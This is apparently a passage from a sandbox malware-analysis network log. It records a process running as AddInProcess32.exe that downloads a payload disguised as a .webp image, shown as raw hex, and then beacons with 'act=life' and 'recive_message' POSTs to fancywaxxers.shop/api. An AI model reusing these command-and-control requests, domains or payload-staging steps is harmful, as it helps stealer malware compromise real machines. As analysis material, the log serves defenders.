2024-12-30 15:16:55 UTC	4096	IN	Data Raw: 02 23 0a 89 68 24 71 16 2a eb 74 29 ce 5e 66 32 64 b6 9b 7d 00 02 cd 61 21 f5 e6 64 5c 48 64 e9 37 22 3f 19 64 a4 41 81 a4 15 10 83 05 f8 77 a9 00 01 43 a4 d8 98 15 c4 f9 81 3a 85 b0 e6 ec 0d 60 0f 3f 8b cf c3 72 48 00 0c 9a b8 87 57 4a c9 1c d4 f9 44 a8 06 f6 52 1a ce 17 95 2a e2 18 22 88 49 87 2e 2b 2e 2d 3c 43 4b 8a 25 ce f6 d8 1a f3 8c 99 48 af 96 04 38 03 69 ee 24 12 61 58 00 11 a0 00 4d 1e a4 c9 2d 00 68 5c 60 08 89 b7 76 27 5e 93 7e 89 4b 4b 31 35 6d ef 77 fc 74 1b d5 18 ef 75 31 ff 2f 01 15 77 f6 dd d5 d5 ab 48 0d 54 f5 f9 43 ec 8d 1c 77 50 fe 7f 33 fe 66 f0 6c f6 4d 84 88 98 61 2e 60 66 e8 1c 72 41 07 37 5f 3b f7 b9 21 71 6a f5 1e b3 e0 a4 85 f8 39 1a 3b d2 7d 68 89 10 6e 61 45 8d b8 aa 87 81 eb a0 d9 24 e7 e6 15 98 be d5 8f b1 55 de fa 6b 07 51 Data Ascii: #h$qt)^f2d}a!d\Hd7"?dAwC:`?rHWJDR"I.+.-<CK%H8i$aXM-h\`v'^~KK15mwtu1/wHTCwP3flMa.`frA7_;!qj9;}hnaE$UkQ
2024-12-30 15:16:55 UTC	4096	IN	Data Raw: 2e 23 a6 bb f3 1f 26 fb 85 b8 a7 cf 57 5d 44 01 37 7b 05 fa 80 81 39 53 cc 81 a3 24 68 2f 0e b4 65 3f af ad 6e bc c0 06 3b 68 b1 1e da cd 6e ff ea d5 62 62 9a be b0 e9 7c da 75 5d 2c d5 2f e9 b5 ba 9c 18 92 99 d8 bd 71 90 ef 2c bc 5c 18 d2 8a dd a7 94 22 50 e9 bb 1b da 41 d2 5a 29 29 3e de 4c 33 80 e2 3e 19 59 b5 c3 c9 60 74 b0 26 e0 87 9a da 3d a6 f4 49 c9 36 2b e6 47 18 04 ca d3 cf 08 c1 90 db 3c 3a b0 06 f9 2e ff b4 3a 02 e1 96 51 4e a3 42 3e c3 cc 71 d8 33 1e 4a 08 4f be e5 f7 4f 8f b5 f0 ec 07 a7 8c 71 f2 c7 73 3e 28 74 47 1a 2e 2d b0 16 66 c3 f4 1e c2 1b 49 52 98 df 58 7b 27 26 c2 34 14 cb 52 40 76 5d 20 ae 1a ce e3 5c d6 4c a0 0a 94 50 4b 84 f0 8b 11 34 48 ce e9 e2 a2 19 4a 2e 5e 0d 6f af 5d 26 ff 9d b6 2e c1 b1 16 8b ea 42 6f 45 95 70 0a 31 a3 14 Data Ascii: .#&W]D7{9S$h/e?n;hnbb\|u],/q,\"PAZ))>L3>Y`t&=I6+G<:.:QNB>q3JOOqs>(tG.-fIRX{'&4R@v] \LPK4HJ.^o]&.BoEp1
2024-12-30 15:16:55 UTC	4096	IN	Data Raw: 9e fd fd e8 fa c9 96 2b 18 b2 65 45 12 23 1e 2f 0a 79 ad a7 da 6d f6 00 9c 07 d0 90 7e b0 83 43 10 ae 18 96 8a 75 24 01 d9 c3 b1 09 ab 85 79 ce 2e 14 c1 cc d7 7f 60 49 a9 ca 8f b8 f6 e2 8e bd 30 14 34 6a a8 1d b4 1f ee 6c 70 55 96 78 7f 4f 46 a3 20 7c 99 63 cc 57 4f 66 a7 1e 85 8f cb d9 ef 55 2d 34 38 63 25 d7 9f ef db f4 fe 7e d9 e3 36 e3 ff a9 d6 64 e8 e8 0a 1c f3 d3 89 6f 6c 0f 35 5e 03 0e fe 4c 8a 1e b0 b3 cd 24 44 44 7c ad 07 c0 cf 17 4f 0d 6a 77 8a 50 0f 37 10 4d 16 33 db 7c ba 78 74 4f 1c 6b 55 4c 40 69 03 f7 e1 b9 77 cf cd 4a 80 6a 88 1c 7d f5 9a e7 5a 17 82 66 a6 7f 6e 45 d2 1b e8 23 54 2c 0b b2 84 b2 d4 90 51 41 49 cb 27 aa c8 2e 3e 3f e0 82 06 63 37 cb ac 4e 90 8f d2 51 8d 5b 93 c3 77 52 ea 00 2a da 4f 12 0f f9 d1 fd 69 e0 c3 e3 37 47 62 e4 0a Data Ascii: +eE#/ym~Cu$y.`I04jlpUxOF \|cWOfU-48c%~6dol5^L$DD\|OjwP7M3\|xtOkUL@iwJj}ZfnE#T,QAI'.>?c7NQ[wR*Oi7Gb
2024-12-30 15:16:55 UTC	4096	IN	Data Raw: 20 4e 04 eb 23 b0 85 0b f5 05 8d 27 be ff 10 2d 26 f6 e2 68 f2 c4 80 0c af 88 93 a4 0f 10 ae f8 c0 8d 06 79 a2 05 d0 be 83 69 60 db dd b3 06 3b e9 00 7e 3e fd ce 9e ee 5a 05 22 8c d1 f8 28 57 d9 1c 36 ef d8 2b 74 43 0d 6e 7b 6c fc 01 9a 02 48 e5 24 05 d3 39 11 6b 67 09 03 69 2e 39 cf 36 bc 3d 67 5a 4e 98 d5 81 a1 7f dd 29 88 65 60 98 ec b4 33 4c bc 27 17 38 32 ce de 97 9c d0 2d 00 6f 75 86 41 26 96 81 77 fe 6a ec b0 18 d7 3b e4 73 7e 42 41 39 10 1f e2 b4 78 43 2d 16 1b 83 a7 fe 78 f8 3a e7 92 60 4a 1b a6 79 cb 01 06 b0 a0 4f fd ea 31 a8 d7 4a d9 b6 6b 4f 5d 4d 06 ed fe 9a 7c 58 e0 23 70 aa ce 8a dd 13 76 6f c5 31 fe 16 66 c4 ff fe 94 f5 72 ee fb b1 57 d8 37 2e f5 af 15 79 c2 bf a6 20 c6 25 76 73 93 60 5c 46 c5 73 d6 f1 ea 11 d5 8f 4c 15 bf 9f aa 4c 16 d5 Data Ascii: N#'-&hyi`;~>Z"(W6+tCn{lH$9kgi.96=gZN)e`3L'82-ouA&wj;s~BA9xC-x:`JyO1JkO]M\|X#pvo1frW7.y %vs`\FsLL
2024-12-30 15:16:55 UTC	4096	IN	Data Raw: b6 e3 9e 03 fa a0 96 6b 54 f3 86 74 61 f0 f4 89 a0 21 3f d8 54 bc 47 8f 75 c9 99 89 48 24 c8 b6 c4 27 8c 76 1f 97 1f 98 c8 ca a5 f5 df 2c fa 1f f8 3d 6e 4b 1d 4d 1e 5f b1 2d 41 f2 9e 42 42 08 c4 aa bc 6a ff 7a 93 c6 41 d9 ad da a3 1c a5 9e 05 72 14 6a 7f ba 09 57 79 f0 2d 56 ec b6 fa 69 32 f3 9d ee ed 99 95 d7 ab cd 21 fd 05 4b 52 95 b7 88 10 92 e0 1e eb 67 42 a5 86 1d 79 3c a1 21 4a 15 b8 4c 76 e2 e6 98 d8 65 e3 7e c8 cb 40 2c 52 08 ac 94 91 63 9b 4d e6 71 21 93 57 79 0d 75 32 47 36 6b d3 6d d1 89 ab 17 51 7e 12 8c eb 08 7b f8 8c f8 a9 70 66 b4 54 fa 50 cb 78 31 f6 f0 ba 13 85 c2 05 27 b9 0e 92 9c 92 bc 0e dd cb e7 1c fc 80 06 dc 90 00 25 0b 68 d6 d5 00 d9 b6 89 e2 4b 23 43 c5 e2 23 0e cd 29 a6 c2 a5 58 46 e8 b3 90 0b 8c ca 77 e6 ef 4d 97 e7 31 68 81 df Data Ascii: kTta!?TGuH$'v,=nKM_-ABBjzArjWy-Vi2!KRgBy<!JLve~@,RcMq!Wyu2G6kmQ~{pfTPx1'%hK#C#)XFwM1h
2024-12-30 15:16:55 UTC	4096	IN	Data Raw: 27 6e 24 1c cc 23 0d 93 cf 0c 40 9c df 4a b0 fc c9 48 9f 89 27 3e 37 dc 09 58 46 8b 34 4e 9a 86 2d 50 f8 e6 82 50 91 40 6c c8 55 59 65 f6 b8 79 76 31 39 90 c7 b2 c8 43 1c 24 03 59 27 55 f5 0e 64 78 6a 18 90 f0 ab 16 2e 32 e9 a7 4c fc 72 4d 7f fa f9 da a7 ce ad 08 a0 79 ae 04 db c0 2e 6a 21 55 55 88 d2 de f0 f3 e9 16 2a 96 a1 b5 2e 0e 1a 63 25 fc d0 c5 5a e2 c0 40 33 2b 1e 68 0b 1c 46 d0 9b 7e 00 1d cc 20 d5 c4 7f 44 9a 1f 4e 34 d4 5c 26 ca a7 9a b7 e2 9d 87 b4 73 3a 34 75 87 14 ed d1 9a bd 82 94 50 23 43 81 f4 bf 76 7a bc fe d8 d3 02 3e 62 77 d1 51 b2 93 3c bf d0 38 a8 fb da 53 e3 11 bf 73 e5 4a ca 8e 4b aa 6d 98 3e ff 2e 0b e0 f8 18 0c 09 3e 1c 9a 73 d8 f1 34 78 8d a5 e8 bb c4 a4 78 95 8f 8a bd 79 f3 d8 4a cd 8e f0 d6 9e 08 d9 2d 2e df b3 4b 8b da 80 81 Data Ascii: 'n$#@JH'>7XF4N-PP@lUYeyv19C$Y'Udxj.2LrMy.j!UU*.c%Z@3+hF~ DN4\&s:4uP#Cvz>bwQ<8SsJKm>.>s4xxyJ-.K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	57860	169.197.85.95	443	5772	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:17:42 UTC	85	OUT	GET /xLJXQ55/mamasafa-Final.webp HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive
2024-12-30 15:17:42 UTC	382	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Dec 2024 15:17:42 GMT Content-Type: image/webp Content-Length: 3722252 Connection: close Last-Modified: Sun, 29 Dec 2024 02:41:53 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-12-30 15:17:42 UTC	3714	IN	Data Raw: 52 49 46 46 30 92 01 00 57 45 42 50 56 50 38 58 0a 00 00 00 28 00 00 00 3f 06 00 3f 06 00 49 43 43 50 a8 01 00 00 00 00 01 a8 6c 63 6d 73 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 dc 00 01 00 19 00 03 00 29 00 39 61 63 73 70 41 50 50 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 6c 63 6d 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 5f 63 70 72 74 00 00 01 4c 00 00 00 0c 77 74 70 74 00 00 01 58 00 00 00 14 72 58 59 5a 00 00 01 6c 00 00 00 14 67 58 59 5a 00 00 01 80 00 00 00 14 62 58 59 5a 00 00 01 94 00 00 00 14 72 54 52 43 00 00 01 0c 00 00 00 40 67 Data Ascii: RIFF0WEBPVP8X(??ICCPlcmsmntrRGB XYZ )9acspAPPL-lcmsdesc_cprtLwtptXrXYZlgXYZbXYZrTRC@g
2024-12-30 15:17:42 UTC	4096	IN	Data Raw: b3 f8 54 f4 b9 84 05 b8 d3 4d 39 ae f0 b1 dd 89 69 c7 bf 66 93 85 02 3e c0 82 97 9b 69 9b 36 6f a6 d1 cb aa 72 29 5f 4e 2c 29 79 0c 6b 4a ac 37 87 d6 b4 5c aa a5 a9 54 91 bb de 00 8c d8 a0 aa 6f d0 ad ef 1d 40 40 ff 68 1c 80 88 ab 69 ec 42 8f bf e4 43 b0 ec a1 34 81 84 9d bb cb 70 3f a2 b7 1d 84 c1 d9 34 5a 83 4f bc 68 6d f6 05 08 cc 98 5a 82 8c 0a 56 8e 11 fa ca 40 5d ae d8 c7 77 58 84 0f 12 b9 50 9a c3 f1 cd 1b 53 8a 51 ed 0d 6d c2 d7 5b 01 86 23 6c 74 e9 1c 0c bd 32 e5 1c 72 29 65 89 95 7d 01 ac fd ad 11 27 84 1f 58 50 27 88 01 04 18 7b 85 dd 6f f5 3f bf 16 b2 36 bb f1 c2 35 98 0c 0f e2 a7 b5 dc 99 73 a0 1f d0 c0 ba f4 7d 8a d8 54 dd 2f 81 1d 39 90 4f 1e 44 aa c1 97 9d 9b 3a 0f f3 82 72 c8 bb 41 25 d6 f4 9b 78 ca 38 6b 17 01 80 47 47 28 64 2f f7 03 9d Data Ascii: TM9if>i6or)_N,)ykJ7\To@@hiBC4p?4ZOhmZV@]wXPSQm[#lt2r)e}'XP'{o?65s}T/9OD:rA%x8kGG(d/
2024-12-30 15:17:42 UTC	4096	IN	Data Raw: 3a 74 48 9e 64 98 45 24 88 32 c5 1c c5 6b 30 e3 db 01 64 c1 90 f6 24 b7 1a 41 2e 58 ca c7 e9 d3 04 b3 73 9a 38 72 c4 61 08 cd 34 c4 78 f8 39 36 9d 4e 0f c3 ea 8f c6 ef fe 51 f2 7b dc 84 b8 be ba 09 21 0c 0c 6a 09 8d aa f6 d6 db 12 57 55 ce 20 e6 fc 7b cf 04 66 f2 b8 b4 e2 db 1f 46 d2 2c d7 ea a3 e5 25 84 be 1a e4 9e 98 68 a3 9c b6 6b 18 11 9b 74 84 c2 6b af 54 eb 38 84 ac 32 18 f0 11 b7 4e f1 48 b0 0e 9c bc c9 17 e3 44 24 e7 a0 29 c3 0d 02 37 f6 d1 5d df dd 5e 12 2a 22 68 42 5b 3c 18 68 3a 26 44 69 5d 08 4e f1 bd 5b 16 ad e3 7e 00 74 e5 9a 76 fe ab 26 c0 7e b0 c3 54 34 05 4b d5 02 49 52 b8 f4 b8 6d bd 4d f5 0f 7d ec d8 ea 12 27 ce e5 a4 24 86 a8 38 13 1e 44 72 7d 32 a6 10 c8 2e f2 57 71 e5 02 29 1c 62 cf a2 56 1d fa f3 a0 97 81 54 d2 d1 73 29 3e ee cb ec Data Ascii: :tHdE$2k0d$A.Xs8ra4x96NQ{!jWU {fF,%hktkT82NHD$)7]^*"hB[<h:&Di]N[~tv&~T4KIRmM}'$8Dr}2.Wq)bVTs)>
2024-12-30 15:17:42 UTC	4096	IN	Data Raw: e8 65 e0 17 2a 01 a5 b3 f6 42 f7 49 d7 6d 1d aa 6a 9d be f8 a2 76 7b 28 fc 3b 94 08 97 fa 52 7c b7 05 63 ac a4 d0 63 7a 0a fe e7 86 dc 4d 9f 0b 11 3c fc 80 f2 bc 44 1a f0 eb 0f 37 92 02 58 1f a7 c6 ab 3c d0 06 7d ec 02 aa d4 7e 9b 60 3d f6 28 30 22 5b a4 76 07 ae 98 54 70 1d f1 0a e7 59 8f b9 2d 45 0e 03 05 6b 56 04 22 b2 7e 3d 58 78 a5 01 84 9b b8 b3 b7 41 9c cb 7f e0 bd 55 03 0c 62 48 96 f0 a3 86 8f e5 9e 70 96 82 f4 1d d6 ba 69 a1 0b f5 e3 be 42 07 3c 9b 45 35 fe 57 f1 d2 83 ba d5 0d 14 29 b9 ba 35 60 90 cf e2 f2 70 eb c7 f5 0c fb 8c 9d 9b 12 24 c4 a3 df fa 1a e1 f1 6b 4c 9e c0 c7 c6 c4 91 f0 7c 64 53 5a 88 ca d5 e9 c2 95 5a 39 e8 02 df c2 88 71 38 7f 7b 28 ad ff e3 3c cf 9f f3 10 d1 8b 32 05 bf 3b 4a f1 64 6d fa 66 e3 c5 25 49 25 dc 69 43 4c f6 66 22 Data Ascii: e*BImjv{(;R\|cczM<D7X<}~`=(0"[vTpY-EkV"~=XxAUbHpiB<E5W)5`p$kL\|dSZZ9q8{(<2;Jdmf%I%iCLf"
2024-12-30 15:17:42 UTC	4096	IN	Data Raw: 02 23 0a 89 68 24 71 16 2a eb 74 29 ce 5e 66 32 64 b6 9b 7d 00 02 cd 61 21 f5 e6 64 5c 48 64 e9 37 22 3f 19 64 a4 41 81 a4 15 10 83 05 f8 77 a9 00 01 43 a4 d8 98 15 c4 f9 81 3a 85 b0 e6 ec 0d 60 0f 3f 8b cf c3 72 48 00 0c 9a b8 87 57 4a c9 1c d4 f9 44 a8 06 f6 52 1a ce 17 95 2a e2 18 22 88 49 87 2e 2b 2e 2d 3c 43 4b 8a 25 ce f6 d8 1a f3 8c 99 48 af 96 04 38 03 69 ee 24 12 61 58 00 11 a0 00 4d 1e a4 c9 2d 00 68 5c 60 08 89 b7 76 27 5e 93 7e 89 4b 4b 31 35 6d ef 77 fc 74 1b d5 18 ef 75 31 ff 2f 01 15 77 f6 dd d5 d5 ab 48 0d 54 f5 f9 43 ec 8d 1c 77 50 fe 7f 33 fe 66 f0 6c f6 4d 84 88 98 61 2e 60 66 e8 1c 72 41 07 37 5f 3b f7 b9 21 71 6a f5 1e b3 e0 a4 85 f8 39 1a 3b d2 7d 68 89 10 6e 61 45 8d b8 aa 87 81 eb a0 d9 24 e7 e6 15 98 be d5 8f b1 55 de fa 6b 07 51 Data Ascii: #h$qt)^f2d}a!d\Hd7"?dAwC:`?rHWJDR"I.+.-<CK%H8i$aXM-h\`v'^~KK15mwtu1/wHTCwP3flMa.`frA7_;!qj9;}hnaE$UkQ
2024-12-30 15:17:42 UTC	4096	IN	Data Raw: 2e 23 a6 bb f3 1f 26 fb 85 b8 a7 cf 57 5d 44 01 37 7b 05 fa 80 81 39 53 cc 81 a3 24 68 2f 0e b4 65 3f af ad 6e bc c0 06 3b 68 b1 1e da cd 6e ff ea d5 62 62 9a be b0 e9 7c da 75 5d 2c d5 2f e9 b5 ba 9c 18 92 99 d8 bd 71 90 ef 2c bc 5c 18 d2 8a dd a7 94 22 50 e9 bb 1b da 41 d2 5a 29 29 3e de 4c 33 80 e2 3e 19 59 b5 c3 c9 60 74 b0 26 e0 87 9a da 3d a6 f4 49 c9 36 2b e6 47 18 04 ca d3 cf 08 c1 90 db 3c 3a b0 06 f9 2e ff b4 3a 02 e1 96 51 4e a3 42 3e c3 cc 71 d8 33 1e 4a 08 4f be e5 f7 4f 8f b5 f0 ec 07 a7 8c 71 f2 c7 73 3e 28 74 47 1a 2e 2d b0 16 66 c3 f4 1e c2 1b 49 52 98 df 58 7b 27 26 c2 34 14 cb 52 40 76 5d 20 ae 1a ce e3 5c d6 4c a0 0a 94 50 4b 84 f0 8b 11 34 48 ce e9 e2 a2 19 4a 2e 5e 0d 6f af 5d 26 ff 9d b6 2e c1 b1 16 8b ea 42 6f 45 95 70 0a 31 a3 14 Data Ascii: .#&W]D7{9S$h/e?n;hnbb\|u],/q,\"PAZ))>L3>Y`t&=I6+G<:.:QNB>q3JOOqs>(tG.-fIRX{'&4R@v] \LPK4HJ.^o]&.BoEp1
2024-12-30 15:17:42 UTC	4096	IN	Data Raw: 9e fd fd e8 fa c9 96 2b 18 b2 65 45 12 23 1e 2f 0a 79 ad a7 da 6d f6 00 9c 07 d0 90 7e b0 83 43 10 ae 18 96 8a 75 24 01 d9 c3 b1 09 ab 85 79 ce 2e 14 c1 cc d7 7f 60 49 a9 ca 8f b8 f6 e2 8e bd 30 14 34 6a a8 1d b4 1f ee 6c 70 55 96 78 7f 4f 46 a3 20 7c 99 63 cc 57 4f 66 a7 1e 85 8f cb d9 ef 55 2d 34 38 63 25 d7 9f ef db f4 fe 7e d9 e3 36 e3 ff a9 d6 64 e8 e8 0a 1c f3 d3 89 6f 6c 0f 35 5e 03 0e fe 4c 8a 1e b0 b3 cd 24 44 44 7c ad 07 c0 cf 17 4f 0d 6a 77 8a 50 0f 37 10 4d 16 33 db 7c ba 78 74 4f 1c 6b 55 4c 40 69 03 f7 e1 b9 77 cf cd 4a 80 6a 88 1c 7d f5 9a e7 5a 17 82 66 a6 7f 6e 45 d2 1b e8 23 54 2c 0b b2 84 b2 d4 90 51 41 49 cb 27 aa c8 2e 3e 3f e0 82 06 63 37 cb ac 4e 90 8f d2 51 8d 5b 93 c3 77 52 ea 00 2a da 4f 12 0f f9 d1 fd 69 e0 c3 e3 37 47 62 e4 0a Data Ascii: +eE#/ym~Cu$y.`I04jlpUxOF \|cWOfU-48c%~6dol5^L$DD\|OjwP7M3\|xtOkUL@iwJj}ZfnE#T,QAI'.>?c7NQ[wR*Oi7Gb
2024-12-30 15:17:42 UTC	4096	IN	Data Raw: 20 4e 04 eb 23 b0 85 0b f5 05 8d 27 be ff 10 2d 26 f6 e2 68 f2 c4 80 0c af 88 93 a4 0f 10 ae f8 c0 8d 06 79 a2 05 d0 be 83 69 60 db dd b3 06 3b e9 00 7e 3e fd ce 9e ee 5a 05 22 8c d1 f8 28 57 d9 1c 36 ef d8 2b 74 43 0d 6e 7b 6c fc 01 9a 02 48 e5 24 05 d3 39 11 6b 67 09 03 69 2e 39 cf 36 bc 3d 67 5a 4e 98 d5 81 a1 7f dd 29 88 65 60 98 ec b4 33 4c bc 27 17 38 32 ce de 97 9c d0 2d 00 6f 75 86 41 26 96 81 77 fe 6a ec b0 18 d7 3b e4 73 7e 42 41 39 10 1f e2 b4 78 43 2d 16 1b 83 a7 fe 78 f8 3a e7 92 60 4a 1b a6 79 cb 01 06 b0 a0 4f fd ea 31 a8 d7 4a d9 b6 6b 4f 5d 4d 06 ed fe 9a 7c 58 e0 23 70 aa ce 8a dd 13 76 6f c5 31 fe 16 66 c4 ff fe 94 f5 72 ee fb b1 57 d8 37 2e f5 af 15 79 c2 bf a6 20 c6 25 76 73 93 60 5c 46 c5 73 d6 f1 ea 11 d5 8f 4c 15 bf 9f aa 4c 16 d5 Data Ascii: N#'-&hyi`;~>Z"(W6+tCn{lH$9kgi.96=gZN)e`3L'82-ouA&wj;s~BA9xC-x:`JyO1JkO]M\|X#pvo1frW7.y %vs`\FsLL
2024-12-30 15:17:42 UTC	4096	IN	Data Raw: b6 e3 9e 03 fa a0 96 6b 54 f3 86 74 61 f0 f4 89 a0 21 3f d8 54 bc 47 8f 75 c9 99 89 48 24 c8 b6 c4 27 8c 76 1f 97 1f 98 c8 ca a5 f5 df 2c fa 1f f8 3d 6e 4b 1d 4d 1e 5f b1 2d 41 f2 9e 42 42 08 c4 aa bc 6a ff 7a 93 c6 41 d9 ad da a3 1c a5 9e 05 72 14 6a 7f ba 09 57 79 f0 2d 56 ec b6 fa 69 32 f3 9d ee ed 99 95 d7 ab cd 21 fd 05 4b 52 95 b7 88 10 92 e0 1e eb 67 42 a5 86 1d 79 3c a1 21 4a 15 b8 4c 76 e2 e6 98 d8 65 e3 7e c8 cb 40 2c 52 08 ac 94 91 63 9b 4d e6 71 21 93 57 79 0d 75 32 47 36 6b d3 6d d1 89 ab 17 51 7e 12 8c eb 08 7b f8 8c f8 a9 70 66 b4 54 fa 50 cb 78 31 f6 f0 ba 13 85 c2 05 27 b9 0e 92 9c 92 bc 0e dd cb e7 1c fc 80 06 dc 90 00 25 0b 68 d6 d5 00 d9 b6 89 e2 4b 23 43 c5 e2 23 0e cd 29 a6 c2 a5 58 46 e8 b3 90 0b 8c ca 77 e6 ef 4d 97 e7 31 68 81 df Data Ascii: kTta!?TGuH$'v,=nKM_-ABBjzArjWy-Vi2!KRgBy<!JLve~@,RcMq!Wyu2G6kmQ~{pfTPx1'%hK#C#)XFwM1h
2024-12-30 15:17:42 UTC	4096	IN	Data Raw: 27 6e 24 1c cc 23 0d 93 cf 0c 40 9c df 4a b0 fc c9 48 9f 89 27 3e 37 dc 09 58 46 8b 34 4e 9a 86 2d 50 f8 e6 82 50 91 40 6c c8 55 59 65 f6 b8 79 76 31 39 90 c7 b2 c8 43 1c 24 03 59 27 55 f5 0e 64 78 6a 18 90 f0 ab 16 2e 32 e9 a7 4c fc 72 4d 7f fa f9 da a7 ce ad 08 a0 79 ae 04 db c0 2e 6a 21 55 55 88 d2 de f0 f3 e9 16 2a 96 a1 b5 2e 0e 1a 63 25 fc d0 c5 5a e2 c0 40 33 2b 1e 68 0b 1c 46 d0 9b 7e 00 1d cc 20 d5 c4 7f 44 9a 1f 4e 34 d4 5c 26 ca a7 9a b7 e2 9d 87 b4 73 3a 34 75 87 14 ed d1 9a bd 82 94 50 23 43 81 f4 bf 76 7a bc fe d8 d3 02 3e 62 77 d1 51 b2 93 3c bf d0 38 a8 fb da 53 e3 11 bf 73 e5 4a ca 8e 4b aa 6d 98 3e ff 2e 0b e0 f8 18 0c 09 3e 1c 9a 73 d8 f1 34 78 8d a5 e8 bb c4 a4 78 95 8f 8a bd 79 f3 d8 4a cd 8e f0 d6 9e 08 d9 2d 2e df b3 4b 8b da 80 81 Data Ascii: 'n$#@JH'>7XF4N-PP@lUYeyv19C$Y'Udxj.2LrMy.j!UU*.c%Z@3+hF~ DN4\&s:4uP#Cvz>bwQ<8SsJKm>.>s4xxyJ-.K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	57959	104.21.48.1	443	1096	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:16 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fancywaxxers.shop
2024-12-30 15:18:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-30 15:18:16 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o3d2cn86kapg9ngi01sl95msca; expires=Fri, 25 Apr 2025 09:04:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0JQctIOf2QtoNbuLAnI0Yxk799wC2cDP%2B32aKWDkH6zz4qBvCOaE4dTmLL0jcf0GvpSF4sFJUPVpDgT1aqR5D9ZLcl%2FzCfpR9Sm19tpkzZaX3HNFlX935SdXzb%2FZO1GPE90KEw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3005e699242e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1640&min_rtt=1636&rtt_var=621&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=1750599&cwnd=240&unsent_bytes=0&cid=9cb2968555447dfb&ts=495&x=0"
2024-12-30 15:18:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-30 15:18:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	57960	104.21.48.1	443	1096	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:16 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 45 Host: fancywaxxers.shop
2024-12-30 15:18:16 UTC	45	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 37 74 78 32 6a 6f 2d 2d 38 37 34 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=7tx2jo--874&j=
2024-12-30 15:18:17 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9f03vqpbi5fkfte9k2nt821pe9; expires=Fri, 25 Apr 2025 09:04:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RGD8TGNGFT7C9LiQVqX6LAV9kTSrrvgGmWQd5NPdZHBvfE8AHKdBTYCpz2BcPYeUPH5y%2BFaDmZeRfPDlarVyvQonk7I9Gvtldbso8PN%2BJ%2BBvOdyRKmHjq7NYhBe5YFrhfAmGrg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3006428e7c461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1604&min_rtt=1561&rtt_var=671&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=946&delivery_rate=1532004&cwnd=228&unsent_bytes=0&cid=60a6471d3f89ee47&ts=448&x=0"
